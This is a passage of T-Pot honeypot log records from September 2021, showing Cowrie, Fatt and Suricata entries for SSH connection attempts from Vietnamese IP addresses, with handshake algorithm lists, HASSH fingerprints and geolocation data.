26585	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:12:48.680605+03	2021-09-20 14:15:13.465689+03	{"_id": "igboAnwBvYTbRNuElSKU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55102, "dest_port": 22, "timestamp": "2021-09-20T11:12:48.680605", "@timestamp": "2021-09-20T11:12:48.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26586	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:49.138727+03	2021-09-20 14:15:13.466644+03	{"_id": "jAboAnwBvYTbRNuEliI-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:36986 (192.168.176.2:22) [session: 6437453030a0]", "session": "6437453030a0", "@version": "1", "protocol": "ssh", "src_port": 36986, "dest_port": 22, "timestamp": "2021-09-20T11:12:49.138727Z", "@timestamp": "2021-09-20T11:12:49.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26587	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:48.626777+03	2021-09-20 14:15:13.467676+03	{"_id": "kgboAnwBvYTbRNuEliI-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9b1b0e3243a3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:48.626777Z", "@timestamp": "2021-09-20T11:12:48.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26588	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:48.680984+03	2021-09-20 14:15:13.469645+03	{"_id": "kwboAnwBvYTbRNuEliI-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d1a740f717f8", "@version": "1", "timestamp": "2021-09-20T11:12:48.680984Z", "@timestamp": "2021-09-20T11:12:48.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26589	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:48.816037+03	2021-09-20 14:15:13.470675+03	{"_id": "lAboAnwBvYTbRNuEliI-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9b1b0e3243a3", "@version": "1", "timestamp": "2021-09-20T11:12:48.816037Z", "@timestamp": "2021-09-20T11:12:48.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26590	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:49.145418+03	2021-09-20 14:15:13.471674+03	{"_id": "lQboAnwBvYTbRNuEliI-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6437453030a0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:49.145418Z", "@timestamp": "2021-09-20T11:12:49.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26591	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:49.435291+03	2021-09-20 14:15:13.473647+03	{"_id": "lgboAnwBvYTbRNuEliI-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6437453030a0", "@version": "1", "timestamp": "2021-09-20T11:12:49.435291Z", "@timestamp": "2021-09-20T11:12:49.435Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26592	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:12:49.912477+03	2021-09-20 14:15:13.474674+03	{"_id": "lwboAnwBvYTbRNuEmCJU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:12:49.912477Z", "@timestamp": "2021-09-20T11:12:49.912Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26593	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:12:49.434716+03	2021-09-20 14:15:13.475674+03	{"_id": "mwboAnwBvYTbRNuEmSJ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 